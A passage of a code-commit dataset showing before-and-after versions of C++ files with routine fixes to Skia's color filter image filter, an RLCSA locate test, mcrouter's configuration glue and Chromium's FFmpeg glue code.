sk_ref_sp(input->getInput(0)), cropRect));\n        }\n    }\n\n    return sk_sp<SkImageFilter>(new SkColorFilterImageFilter(\n            std::move(cf), std::move(input), cropRect));\n}\n\nvoid SkRegisterColorFilterImageFilterFlattenable() {\n    SK_REGISTER_FLATTENABLE(SkColorFilterImageFilter);\n    \/\/ TODO (michaelludwig) - Remove after grace period for SKPs to stop using old name\n    SkFlattenable::Register(\"SkColorFilterImageFilterImpl\", SkColorFilterImageFilter::CreateProc);\n}\n\n\nsk_sp<SkFlattenable> SkColorFilterImageFilter::CreateProc(SkReadBuffer& buffer) {\n    SK_IMAGEFILTER_UNFLATTEN_COMMON(common, 1);\n    sk_sp<SkColorFilter> cf(buffer.readColorFilter());\n    return SkImageFilters::ColorFilter(std::move(cf), common.getInput(0), common.cropRect());\n}\n\nvoid SkColorFilterImageFilter::flatten(SkWriteBuffer& buffer) const {\n    this->INHERITED::flatten(buffer);\n    buffer.writeFlattenable(fColorFilter.get());\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nsk_sp<SkSpecialImage> SkColorFilterImageFilter::onFilterImage(const Context& ctx,\n                                                              SkIPoint* offset) const {\n    SkIPoint inputOffset = SkIPoint::Make(0, 0);\n    sk_sp<SkSpecialImage> input(this->filterInput(0, ctx, &inputOffset));\n\n    SkIRect inputBounds;\n    if (as_CFB(fColorFilter)->affectsTransparentBlack()) {\n        \/\/ If the color filter affects transparent black, the bounds are the entire clip.\n        inputBounds = ctx.clipBounds();\n    } else if (!input) {\n        return nullptr;\n    } else {\n        inputBounds = SkIRect::MakeXYWH(inputOffset.x(), inputOffset.y(),\n                                        input->width(), input->height());\n    }\n\n    SkIRect bounds;\n    if (!this->applyCropRect(ctx, inputBounds, &bounds)) {\n        return nullptr;\n    }\n\n    sk_sp<SkSpecialSurface> surf(ctx.makeSurface(bounds.size()));\n    if (!surf) {\n        return nullptr;\n    }\n\n    SkCanvas* canvas = surf->getCanvas();\n    SkASSERT(canvas);\n\n    SkPaint paint;\n\n    paint.setBlendMode(SkBlendMode::kSrc);\n    paint.setColorFilter(fColorFilter);\n\n    \/\/ TODO: it may not be necessary to clear or drawPaint inside the input bounds\n    \/\/ (see skbug.com\/5075)\n    if (as_CFB(fColorFilter)->affectsTransparentBlack()) {\n        \/\/ The subsequent input->draw() call may not fill the entire canvas. For filters which\n        \/\/ affect transparent black, ensure that the filter is applied everywhere.\n        paint.setColor(SK_ColorTRANSPARENT);\n        canvas->drawPaint(paint);\n        paint.setColor(SK_ColorBLACK);\n    } else {\n        canvas->clear(0x0);\n    }\n\n    if (input) {\n        input->draw(canvas,\n                    SkIntToScalar(inputOffset.fX - bounds.fLeft),\n                    SkIntToScalar(inputOffset.fY - bounds.fTop),\n                    SkSamplingOptions(), &paint);\n    }\n\n    offset->fX = bounds.fLeft;\n    offset->fY = bounds.fTop;\n    return surf->makeImageSnapshot();\n}\n\nbool SkColorFilterImageFilter::onIsColorFilterNode(SkColorFilter** filter) const {\n    SkASSERT(1 == this->countInputs());\n    if (!this->cropRectIsSet()) {\n        if (filter) {\n            *filter = SkRef(fColorFilter.get());\n        }\n        return true;\n    }\n    return false;\n}\n\nbool SkColorFilterImageFilter::onAffectsTransparentBlack() const {\n    return as_CFB(fColorFilter)->affectsTransparentBlack();\n}\n<commit_msg>Fix SkImageFilters::ColorFilter when color filter is null<commit_after>\/*\n * Copyright 2012 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"include\/core\/SkCanvas.h\"\n#include \"include\/core\/SkColorFilter.h\"\n#include \"include\/effects\/SkImageFilters.h\"\n#include \"src\/core\/SkColorFilterBase.h\"\n#include \"src\/core\/SkImageFilter_Base.h\"\n#include \"src\/core\/SkReadBuffer.h\"\n#include \"src\/core\/SkSpecialImage.h\"\n#include \"src\/core\/SkSpecialSurface.h\"\n#include \"src\/core\/SkWriteBuffer.h\"\n\nnamespace {\n\nclass SkColorFilterImageFilter final : public SkImageFilter_Base {\npublic:\n    SkColorFilterImageFilter(sk_sp<SkColorFilter> cf, sk_sp<SkImageFilter> input,\n                             const SkRect* cropRect)\n            : INHERITED(&input, 1, cropRect)\n            , fColorFilter(std::move(cf)) {}\n\nprotected:\n    void flatten(SkWriteBuffer&) const override;\n    sk_sp<SkSpecialImage> onFilterImage(const Context&, SkIPoint* offset) const override;\n    bool onIsColorFilterNode(SkColorFilter**) const override;\n    MatrixCapability onGetCTMCapability() const override { return MatrixCapability::kComplex; }\n    bool onAffectsTransparentBlack() const override;\n\nprivate:\n    friend void ::SkRegisterColorFilterImageFilterFlattenable();\n    SK_FLATTENABLE_HOOKS(SkColorFilterImageFilter)\n\n    sk_sp<SkColorFilter> fColorFilter;\n\n    using INHERITED = SkImageFilter_Base;\n};\n\n} \/\/ end namespace\n\nsk_sp<SkImageFilter> SkImageFilters::ColorFilter(\n        sk_sp<SkColorFilter> cf, sk_sp<SkImageFilter> input, const CropRect& cropRect) {\n    if (!cf) {\n        \/\/ The color filter is the identity, but 'cropRect' and 'input' may perform actions in the\n        \/\/ image filter graph.\n        const SkRect* crop = cropRect;\n        if (crop) {\n            \/\/ Wrap 'input' in an offset filter with (0,0) and the crop rect.\n            \/\/ TODO(michaelludwig): Replace this with SkCropImageFilter when that's ready for use.\n            return SkImageFilters::Offset(0.f, 0.f, std::move(input), cropRect);\n        } else {\n            \/\/ Just forward 'input' on\n            return input;\n        }\n    }\n\n    SkColorFilter* inputCF;\n    if (input && input->isColorFilterNode(&inputCF)) {\n        \/\/ This is an optimization, as it collapses the hierarchy by just combining the two\n        \/\/ colorfilters into a single one, which the new imagefilter will wrap.\n        sk_sp<SkColorFilter> newCF = cf->makeComposed(sk_sp<SkColorFilter>(inputCF));\n        if (newCF) {\n            return sk_sp<SkImageFilter>(new SkColorFilterImageFilter(\n                    std::move(newCF), sk_ref_sp(input->getInput(0)), cropRect));\n        }\n    }\n\n    return sk_sp<SkImageFilter>(new SkColorFilterImageFilter(\n            std::move(cf), std::move(input), cropRect));\n}\n\nvoid SkRegisterColorFilterImageFilterFlattenable() {\n    SK_REGISTER_FLATTENABLE(SkColorFilterImageFilter);\n    \/\/ TODO (michaelludwig) - Remove after grace period for SKPs to stop using old name\n    SkFlattenable::Register(\"SkColorFilterImageFilterImpl\", SkColorFilterImageFilter::CreateProc);\n}\n\n\nsk_sp<SkFlattenable> SkColorFilterImageFilter::CreateProc(SkReadBuffer& buffer) {\n    SK_IMAGEFILTER_UNFLATTEN_COMMON(common, 1);\n    sk_sp<SkColorFilter> cf(buffer.readColorFilter());\n    return SkImageFilters::ColorFilter(std::move(cf), common.getInput(0), common.cropRect());\n}\n\nvoid SkColorFilterImageFilter::flatten(SkWriteBuffer& buffer) const {\n    this->INHERITED::flatten(buffer);\n    buffer.writeFlattenable(fColorFilter.get());\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nsk_sp<SkSpecialImage> SkColorFilterImageFilter::onFilterImage(const Context& ctx,\n                                                              SkIPoint* offset) const {\n    SkIPoint inputOffset = SkIPoint::Make(0, 0);\n    sk_sp<SkSpecialImage> input(this->filterInput(0, ctx, &inputOffset));\n\n    SkIRect inputBounds;\n    if (as_CFB(fColorFilter)->affectsTransparentBlack()) {\n        \/\/ If the color filter affects transparent black, the bounds are the entire clip.\n        inputBounds = ctx.clipBounds();\n    } else if (!input) {\n        return nullptr;\n    } else {\n        inputBounds = SkIRect::MakeXYWH(inputOffset.x(), inputOffset.y(),\n                                        input->width(), input->height());\n    }\n\n    SkIRect bounds;\n    if (!this->applyCropRect(ctx, inputBounds, &bounds)) {\n        return nullptr;\n    }\n\n    sk_sp<SkSpecialSurface> surf(ctx.makeSurface(bounds.size()));\n    if (!surf) {\n        return nullptr;\n    }\n\n    SkCanvas* canvas = surf->getCanvas();\n    SkASSERT(canvas);\n\n    SkPaint paint;\n\n    paint.setBlendMode(SkBlendMode::kSrc);\n    paint.setColorFilter(fColorFilter);\n\n    \/\/ TODO: it may not be necessary to clear or drawPaint inside the input bounds\n    \/\/ (see skbug.com\/5075)\n    if (as_CFB(fColorFilter)->affectsTransparentBlack()) {\n        \/\/ The subsequent input->draw() call may not fill the entire canvas. For filters which\n        \/\/ affect transparent black, ensure that the filter is applied everywhere.\n        paint.setColor(SK_ColorTRANSPARENT);\n        canvas->drawPaint(paint);\n        paint.setColor(SK_ColorBLACK);\n    } else {\n        canvas->clear(0x0);\n    }\n\n    if (input) {\n        input->draw(canvas,\n                    SkIntToScalar(inputOffset.fX - bounds.fLeft),\n                    SkIntToScalar(inputOffset.fY - bounds.fTop),\n                    SkSamplingOptions(), &paint);\n    }\n\n    offset->fX = bounds.fLeft;\n    offset->fY = bounds.fTop;\n    return surf->makeImageSnapshot();\n}\n\nbool SkColorFilterImageFilter::onIsColorFilterNode(SkColorFilter** filter) const {\n    SkASSERT(1 == this->countInputs());\n    if (!this->cropRectIsSet()) {\n        if (filter) {\n            *filter = SkRef(fColorFilter.get());\n        }\n        return true;\n    }\n    return false;\n}\n\nbool SkColorFilterImageFilter::onAffectsTransparentBlack() const {\n    return as_CFB(fColorFilter)->affectsTransparentBlack();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <algorithm>\n#include <cstdlib>\n#include <ctime>\n#include <fstream>\n#include <iostream>\n\n#include \"rlcsa.h\"\n#include \"misc\/utils.h\"\n\n\nusing namespace CSA;\n\n\nint main(int argc, char** argv)\n{\n  std::cout << \"RLCSA locate test\" << std::endl;\n  if(argc < 3)\n  {\n    std::cout << \"Usage: locate_test basename [begin end] output [d|s]\" << std::endl;\n    std::cout << \"  d  Use direct locate.\" << std::endl;\n    std::cout << \"  s  Output a 32-bit suffix array.\" << std::endl;\n    return 1;\n  }\n\n  usint begin = 0, end = 0;\n  int output_arg = 2;\n  std::cout << \"Base name: \" << argv[1] << std::endl;\n  if(argc >= 5)\n  {\n    output_arg = 4;\n    begin = atoi(argv[2]), end = atoi(argv[3]);\n    std::cout << \"Begin: \" << begin << std::endl;\n    std::cout << \"End: \" << end << std::endl;\n    if(begin > end)\n    {\n      std::cerr << \"Error: Empty range!\" << std::endl;\n      return 2;\n    }\n  }\n\n  bool direct = false, do_output = false;\n  for(int i = output_arg + 1; i < argc; i++)\n  {\n    switch(argv[i][0])\n    {\n      case 'd':\n        direct = true; break;\n      case 's':\n        do_output = true; break;\n    }\n  }\n  if(!direct)\n  {\n    std::cout << \"Using run-based optimizations.\" << std::endl;\n  }\n  else\n  {\n    std::cout << \"Using direct locate.\" << std::endl;\n  }\n  if(do_output)\n  {\n    std::cout << \"Writing plain SA to output file, ignoring begin and end.\" << std::endl;\n  }\n  std::cout << std::endl;\n\n  RLCSA rlcsa(argv[1]);\n  if(!rlcsa.supportsLocate())\n  {\n    std::cerr << \"Error: Locate is not supported!\" << std::endl;\n    return 3;\n  }\n\n  if(output_arg == 4 && !do_output)\n  {\n    if(end >= rlcsa.getSize())\n    {\n      std::cerr << \"Error: Invalid range!\" << std::endl;\n      return 4;\n    }\n  }\n  else\n  {\n    begin = 0; end = rlcsa.getSize() - 1;\n  }\n\n  std::ofstream output(argv[output_arg], std::ios_base::binary);\n  if(!output)\n  {\n    std::cerr << \"Error: Cannot open output file!\" << std::endl;\n    return 5;\n  }\n\n  usint* buffer = new usint[MILLION]; CSA::uint temp;\n  std::clock_t start = std::clock();\n  if(do_output) { temp = rlcsa.getSize(); output.write((char*)&temp, sizeof(temp)); }\n  for(usint curr = begin; curr <= end; curr += MILLION)\n  {\n    pair_type range(curr, std::min(end, curr + MILLION - 1));\n    if(direct)\n    {\n      for(usint i = 0; i < range.second + 1 - range.first; i++)\n      {\n        buffer[i] = rlcsa.locate(curr + i, false);\n      }\n    }\n    else { rlcsa.locate(range, buffer); }\n    for(usint i = 0; i < range.second + 1 - range.first; i++)\n    {\n      if(do_output) { temp = buffer[i]; output.write((char*)&temp, sizeof(temp)); }\n      else          { output.write((char*)&(buffer[i]), sizeof(usint)); }\n    }\n  }\n  std::clock_t stop = std::clock();\n  delete[] buffer;\n\n  double size = (end + 1 - begin);\n  double time = (stop - start) \/ (double)CLOCKS_PER_SEC;\n  std::cout << size << \" locates in \" << time << \" seconds (\" << (size \/ time) << \" locates\/s)\" << std::endl;\n  output.close();\n\n  return 0;\n}\n<commit_msg>Fixing a typo in locate_test.cpp.<commit_after>#include <algorithm>\n#include <cstdlib>\n#include <ctime>\n#include <fstream>\n#include <iostream>\n\n#include \"rlcsa.h\"\n#include \"misc\/utils.h\"\n\n\nusing namespace CSA;\n\n\nint main(int argc, char** argv)\n{\n  std::cout << \"RLCSA locate test\" << std::endl;\n  if(argc < 3)\n  {\n    std::cout << \"Usage: locate_test basename [begin end] output [d|s]\" << std::endl;\n    std::cout << \"  d  Use direct locate.\" << std::endl;\n    std::cout << \"  s  Output a 32-bit suffix array.\" << std::endl;\n    return 1;\n  }\n\n  usint begin = 0, end = 0;\n  int output_arg = 2;\n  std::cout << \"Base name: \" << argv[1] << std::endl;\n  if(argc >= 5)\n  {\n    output_arg = 4;\n    begin = atoi(argv[2]), end = atoi(argv[3]);\n    std::cout << \"Begin: \" << begin << std::endl;\n    std::cout << \"End: \" << end << std::endl;\n    if(begin > end)\n    {\n      std::cerr << \"Error: Empty range!\" << std::endl;\n      return 2;\n    }\n  }\n\n  bool direct = false, do_output = false;\n  for(int i = output_arg + 1; i < argc; i++)\n  {\n    switch(argv[i][0])\n    {\n      case 'd':\n        direct = true; break;\n      case 's':\n        do_output = true; break;\n    }\n  }\n  if(!direct)\n  {\n    std::cout << \"Using run-based optimizations.\" << std::endl;\n  }\n  else\n  {\n    std::cout << \"Using direct locate.\" << std::endl;\n  }\n  if(do_output)\n  {\n    std::cout << \"Writing plain SA to output file, ignoring begin and end.\" << std::endl;\n  }\n  std::cout << std::endl;\n\n  RLCSA rlcsa(argv[1]);\n  if(!rlcsa.supportsLocate())\n  {\n    std::cerr << \"Error: Locate is not supported!\" << std::endl;\n    return 3;\n  }\n\n  if(output_arg == 4 && !do_output)\n  {\n    if(end >= rlcsa.getSize())\n    {\n      std::cerr << \"Error: Invalid range!\" << std::endl;\n      return 4;\n    }\n  }\n  else\n  {\n    begin = 0; end = rlcsa.getSize() - 1;\n  }\n\n  std::ofstream output(argv[output_arg], std::ios_base::binary);\n  if(!output)\n  {\n    std::cerr << \"Error: Cannot open output file!\" << std::endl;\n    return 5;\n  }\n\n  usint* buffer = new usint[MILLION]; CSA::usint temp;\n  std::clock_t start = std::clock();\n  if(do_output) { temp = rlcsa.getSize(); output.write((char*)&temp, sizeof(temp)); }\n  for(usint curr = begin; curr <= end; curr += MILLION)\n  {\n    pair_type range(curr, std::min(end, curr + MILLION - 1));\n    if(direct)\n    {\n      for(usint i = 0; i < range.second + 1 - range.first; i++)\n      {\n        buffer[i] = rlcsa.locate(curr + i, false);\n      }\n    }\n    else { rlcsa.locate(range, buffer); }\n    for(usint i = 0; i < range.second + 1 - range.first; i++)\n    {\n      if(do_output) { temp = buffer[i]; output.write((char*)&temp, sizeof(temp)); }\n      else          { output.write((char*)&(buffer[i]), sizeof(usint)); }\n    }\n  }\n  std::clock_t stop = std::clock();\n  delete[] buffer;\n\n  double size = (end + 1 - begin);\n  double time = (stop - start) \/ (double)CLOCKS_PER_SEC;\n  std::cout << size << \" locates in \" << time << \" seconds (\" << (size \/ time) << \" locates\/s)\" << std::endl;\n  output.close();\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright (c) 2015, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#include <folly\/Memory.h>\n\n#include \"mcrouter\/config.h\"\n#include \"mcrouter\/flavor.h\"\n#include \"mcrouter\/McrouterInstance.h\"\n#include \"mcrouter\/McrouterLogger.h\"\n#include \"mcrouter\/options.h\"\n#include \"mcrouter\/proxy.h\"\n#include \"mcrouter\/routes\/McExtraRouteHandleProvider.h\"\n\nnamespace facebook { namespace memcache { namespace mcrouter {\n\nint router_configure_from_string(McrouterInstance* router,\n                                 folly::StringPiece input) {\n  return router->configure(input);\n}\n\nbool read_standalone_flavor(\n    const std::string& flavor,\n    std::unordered_map<std::string, std::string>& option_dict,\n    std::unordered_map<std::string, std::string>& st_option_dict) {\n\n  if (!readFlavor(flavor, st_option_dict, option_dict)) {\n    LOG(ERROR) << \"CRITICAL: Couldn't initialize from standalone flavor file \"\n               << flavor;\n    return false;\n  }\n  return true;\n}\n\nstd::unique_ptr<ConfigApi> createConfigApi(const McrouterOptions& opts) {\n  return folly::make_unique<ConfigApi>(opts);\n}\n\nstd::string performOptionSubstitution(std::string str) {\n  return str;\n}\n\nbool standaloneInit(const McrouterOptions& opts) {\n  int numSources = (opts.config_file.empty() ? 0 : 1) +\n    (opts.config_str.empty() ? 0 : 1);\n  if (numSources == 0) {\n    LOG(ERROR) << \"no configuration source\";\n    return false;\n  } else if (numSources > 1) {\n    LOG(ERROR) << \"ambiguous configuration options\";\n    return false;\n  }\n  return true;\n}\n\nstd::unique_ptr<ExtraRouteHandleProviderIf> createExtraRouteHandleProvider() {\n  return folly::make_unique<McExtraRouteHandleProvider>();\n}\n\nstd::unique_ptr<McrouterLogger> createMcrouterLogger(McrouterInstance* router) {\n  return folly::make_unique<McrouterLogger>(router);\n}\n\nvoid applyTestMode(McrouterOptions& opts) {\n  opts.enable_failure_logging = false;\n  opts.stats_logging_interval = 0;\n}\n\nMcrouterOptions defaultTestOptions() {\n  auto opts = McrouterOptions();\n  applyTestMode(opts);\n  return opts;\n}\n\nstd::vector<std::string> defaultTestCommandLineArgs() {\n  return { \"--disable-failure-logging\", \"--stats-logging-interval=0\" };\n}\n\nvoid logTkoEvent(proxy_t* proxy, const TkoLog& tkoLog) { }\n\nvoid initFailureLogger() { }\n\nvoid scheduleSingletonCleanup() { }\n\nstd::unordered_map<std::string, folly::dynamic> additionalConfigParams() {\n  return {};\n}\n\n}}}  \/\/ facebook::memcache::mcrouter\n<commit_msg>Fix OSS build with gcc 4.9<commit_after>\/*\n *  Copyright (c) 2015, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#include <folly\/Memory.h>\n\n#include \"mcrouter\/config.h\"\n#include \"mcrouter\/flavor.h\"\n#include \"mcrouter\/McrouterInstance.h\"\n#include \"mcrouter\/McrouterLogger.h\"\n#include \"mcrouter\/options.h\"\n#include \"mcrouter\/proxy.h\"\n#include \"mcrouter\/routes\/McExtraRouteHandleProvider.h\"\n\nnamespace facebook { namespace memcache { namespace mcrouter {\n\nint router_configure_from_string(McrouterInstance* router,\n                                 folly::StringPiece input) {\n  return router->configure(input);\n}\n\nbool read_standalone_flavor(\n    const std::string& flavor,\n    std::unordered_map<std::string, std::string>& option_dict,\n    std::unordered_map<std::string, std::string>& st_option_dict) {\n\n  if (!readFlavor(flavor, st_option_dict, option_dict)) {\n    LOG(ERROR) << \"CRITICAL: Couldn't initialize from standalone flavor file \"\n               << flavor;\n    return false;\n  }\n  return true;\n}\n\nstd::unique_ptr<ConfigApi> createConfigApi(const McrouterOptions& opts) {\n  return folly::make_unique<ConfigApi>(opts);\n}\n\nstd::string performOptionSubstitution(std::string str) {\n  return str;\n}\n\nbool standaloneInit(const McrouterOptions& opts) {\n  int numSources = (opts.config_file.empty() ? 0 : 1) +\n    (opts.config_str.empty() ? 0 : 1);\n  if (numSources == 0) {\n    LOG(ERROR) << \"no configuration source\";\n    return false;\n  } else if (numSources > 1) {\n    LOG(ERROR) << \"ambiguous configuration options\";\n    return false;\n  }\n  return true;\n}\n\nstd::unique_ptr<ExtraRouteHandleProviderIf> createExtraRouteHandleProvider() {\n  return folly::make_unique<McExtraRouteHandleProvider>();\n}\n\nstd::unique_ptr<McrouterLogger> createMcrouterLogger(McrouterInstance* router) {\n  return folly::make_unique<McrouterLogger>(router);\n}\n\nvoid applyTestMode(McrouterOptions& opts) {\n  opts.enable_failure_logging = false;\n  opts.stats_logging_interval = 0;\n}\n\nMcrouterOptions defaultTestOptions() {\n  auto opts = McrouterOptions();\n  applyTestMode(opts);\n  return opts;\n}\n\nstd::vector<std::string> defaultTestCommandLineArgs() {\n  return { \"--disable-failure-logging\", \"--stats-logging-interval=0\" };\n}\n\nvoid logTkoEvent(proxy_t* proxy, const TkoLog& tkoLog) { }\n\nvoid initFailureLogger() { }\n\nvoid scheduleSingletonCleanup() { }\n\nstd::unordered_map<std::string, folly::dynamic> additionalConfigParams() {\n  return std::unordered_map<std::string, folly::dynamic>();\n}\n\n}}}  \/\/ facebook::memcache::mcrouter\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/string_util.h\"\n#include \"media\/base\/filters.h\"\n#include \"media\/filters\/ffmpeg_common.h\"\n#include \"media\/filters\/ffmpeg_glue.h\"\n\nnamespace {\n\n\/\/ FFmpeg protocol interface.\nint OpenContext(URLContext* h, const char* filename, int flags) {\n  scoped_refptr<media::DataSource> data_source;\n  media::FFmpegGlue::get()->GetDataSource(filename, &data_source);\n  if (!data_source)\n    return AVERROR_IO;\n\n  data_source->AddRef();\n  h->priv_data = data_source;\n  h->flags = URL_RDONLY;\n  h->is_streamed = !data_source->IsSeekable();\n  return 0;\n}\n\nint ReadContext(URLContext* h, unsigned char* buf, int size) {\n  media::DataSource* data_source =\n      reinterpret_cast<media::DataSource*>(h->priv_data);\n  int result = data_source->Read(buf, size);\n  if (result < 0)\n    result = AVERROR_IO;\n  return result;\n}\n\nint WriteContext(URLContext* h, unsigned char* buf, int size) {\n  \/\/ We don't support writing.\n  return AVERROR_IO;\n}\n\noffset_t SeekContext(URLContext* h, offset_t offset, int whence) {\n  media::DataSource* data_source =\n      reinterpret_cast<media::DataSource*>(h->priv_data);\n  offset_t new_offset = AVERROR_IO;\n  switch (whence) {\n    case SEEK_SET:\n      if (data_source->SetPosition(offset))\n        data_source->GetPosition(&new_offset);\n      break;\n\n    case SEEK_CUR:\n      int64 pos;\n      if (!data_source->GetPosition(&pos))\n        break;\n      if (data_source->SetPosition(pos + offset))\n        data_source->GetPosition(&new_offset);\n      break;\n\n    case SEEK_END:\n      int64 size;\n      if (!data_source->GetSize(&size))\n        break;\n      if (data_source->SetPosition(size + offset))\n        data_source->GetPosition(&new_offset);\n      break;\n\n    case AVSEEK_SIZE:\n      data_source->GetSize(&new_offset);\n      break;\n\n    default:\n      NOTREACHED();\n  }\n  if (new_offset < 0)\n    new_offset = AVERROR_IO;\n  return new_offset;\n}\n\nint CloseContext(URLContext* h) {\n  media::DataSource* data_source =\n      reinterpret_cast<media::DataSource*>(h->priv_data);\n  data_source->Release();\n  h->priv_data = NULL;\n  return 0;\n}\n\n}  \/\/ namespace\n\n\/\/------------------------------------------------------------------------------\n\nnamespace media {\n\n\/\/ Use the HTTP protocol to avoid any file path separator issues.\nstatic const char kProtocol[] = \"http\";\n\n\/\/ Fill out our FFmpeg protocol definition.\nstatic URLProtocol kFFmpegProtocol = {\n  kProtocol,\n  &OpenContext,\n  &ReadContext,\n  &WriteContext,\n  &SeekContext,\n  &CloseContext,\n};\n\nFFmpegGlue::FFmpegGlue() {\n  \/\/ Register our protocol glue code with FFmpeg.\n  avcodec_init();\n  register_protocol(&kFFmpegProtocol);\n\n  \/\/ Now register the rest of FFmpeg.\n  av_register_all();\n}\n\nFFmpegGlue::~FFmpegGlue() {\n  DataSourceMap::iterator iter = data_sources_.begin();\n  while (iter != data_sources_.end()) {\n    DataSource* data_source = iter->second;\n    iter = data_sources_.erase(iter);\n  }\n}\n\nstd::string FFmpegGlue::AddDataSource(DataSource* data_source) {\n  AutoLock auto_lock(lock_);\n  std::string key = GetDataSourceKey(data_source);\n  if (data_sources_.find(key) == data_sources_.end()) {\n    data_sources_[key] = data_source;\n  }\n  return key;\n}\n\nvoid FFmpegGlue::RemoveDataSource(DataSource* data_source) {\n  AutoLock auto_lock(lock_);\n  DataSourceMap::iterator iter = data_sources_.begin();\n  while (iter != data_sources_.end()) {\n    if (iter->second == data_source) {\n      iter = data_sources_.erase(iter);\n    } else {\n      ++iter;\n    }\n  }\n}\n\nvoid FFmpegGlue::GetDataSource(const std::string& key,\n                               scoped_refptr<DataSource>* data_source) {\n  AutoLock auto_lock(lock_);\n  DataSourceMap::iterator iter = data_sources_.find(key);\n  if (iter == data_sources_.end()) {\n    *data_source = NULL;\n    return;\n  }\n  *data_source = iter->second;\n}\n\nstd::string FFmpegGlue::GetDataSourceKey(DataSource* data_source) {\n  \/\/ Use the DataSource's memory address to generate the unique string.  This\n  \/\/ also has the nice property that adding the same DataSource reference will\n  \/\/ not generate duplicate entries.\n  return StringPrintf(\"%s:\/\/0x%lx\", kProtocol, static_cast<void*>(data_source));\n}\n\n}  \/\/ namespace media\n<commit_msg>Reapply linux build fix patch to ffmepg glue code from r12791 that was lost in r12802. Original CL: http:\/\/codereview.chromium.org\/62054<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/string_util.h\"\n#include \"media\/base\/filters.h\"\n#include \"media\/filters\/ffmpeg_common.h\"\n#include \"media\/filters\/ffmpeg_glue.h\"\n\nnamespace {\n\n\/\/ FFmpeg protocol interface.\nint OpenContext(URLContext* h, const char* filename, int flags) {\n  scoped_refptr<media::DataSource> data_source;\n  media::FFmpegGlue::get()->GetDataSource(filename, &data_source);\n  if (!data_source)\n    return AVERROR_IO;\n\n  data_source->AddRef();\n  h->priv_data = data_source;\n  h->flags = URL_RDONLY;\n  h->is_streamed = !data_source->IsSeekable();\n  return 0;\n}\n\nint ReadContext(URLContext* h, unsigned char* buf, int size) {\n  media::DataSource* data_source =\n      reinterpret_cast<media::DataSource*>(h->priv_data);\n  int result = data_source->Read(buf, size);\n  if (result < 0)\n    result = AVERROR_IO;\n  return result;\n}\n\nint WriteContext(URLContext* h, unsigned char* buf, int size) {\n  \/\/ We don't support writing.\n  return AVERROR_IO;\n}\n\noffset_t SeekContext(URLContext* h, offset_t offset, int whence) {\n  media::DataSource* data_source =\n      reinterpret_cast<media::DataSource*>(h->priv_data);\n  offset_t new_offset = AVERROR_IO;\n  switch (whence) {\n    case SEEK_SET:\n      if (data_source->SetPosition(offset))\n        data_source->GetPosition(&new_offset);\n      break;\n\n    case SEEK_CUR:\n      int64 pos;\n      if (!data_source->GetPosition(&pos))\n        break;\n      if (data_source->SetPosition(pos + offset))\n        data_source->GetPosition(&new_offset);\n      break;\n\n    case SEEK_END:\n      int64 size;\n      if (!data_source->GetSize(&size))\n        break;\n      if (data_source->SetPosition(size + offset))\n        data_source->GetPosition(&new_offset);\n      break;\n\n    case AVSEEK_SIZE:\n      data_source->GetSize(&new_offset);\n      break;\n\n    default:\n      NOTREACHED();\n  }\n  if (new_offset < 0)\n    new_offset = AVERROR_IO;\n  return new_offset;\n}\n\nint CloseContext(URLContext* h) {\n  media::DataSource* data_source =\n      reinterpret_cast<media::DataSource*>(h->priv_data);\n  data_source->Release();\n  h->priv_data = NULL;\n  return 0;\n}\n\n}  \/\/ namespace\n\n\/\/------------------------------------------------------------------------------\n\nnamespace media {\n\n\/\/ Use the HTTP protocol to avoid any file path separator issues.\nstatic const char kProtocol[] = \"http\";\n\n\/\/ Fill out our FFmpeg protocol definition.\nstatic URLProtocol kFFmpegProtocol = {\n  kProtocol,\n  &OpenContext,\n  &ReadContext,\n  &WriteContext,\n  &SeekContext,\n  &CloseContext,\n};\n\nFFmpegGlue::FFmpegGlue() {\n  \/\/ Register our protocol glue code with FFmpeg.\n  avcodec_init();\n  register_protocol(&kFFmpegProtocol);\n\n  \/\/ Now register the rest of FFmpeg.\n  av_register_all();\n}\n\nFFmpegGlue::~FFmpegGlue() {\n}\n\nstd::string FFmpegGlue::AddDataSource(DataSource* data_source) {\n  AutoLock auto_lock(lock_);\n  std::string key = GetDataSourceKey(data_source);\n  if (data_sources_.find(key) == data_sources_.end()) {\n    data_sources_[key] = data_source;\n  }\n  return key;\n}\n\nvoid FFmpegGlue::RemoveDataSource(DataSource* data_source) {\n  AutoLock auto_lock(lock_);\n  for (DataSourceMap::iterator cur, iter = data_sources_.begin();\n       iter != data_sources_.end();) {\n    cur = iter;\n    iter++;\n\n    if (cur->second == data_source)\n      data_sources_.erase(cur);\n  }\n}\n\nvoid FFmpegGlue::GetDataSource(const std::string& key,\n                               scoped_refptr<DataSource>* data_source) {\n  AutoLock auto_lock(lock_);\n  DataSourceMap::iterator iter = data_sources_.find(key);\n  if (iter == data_sources_.end()) {\n    *data_source = NULL;\n    return;\n  }\n  *data_source = 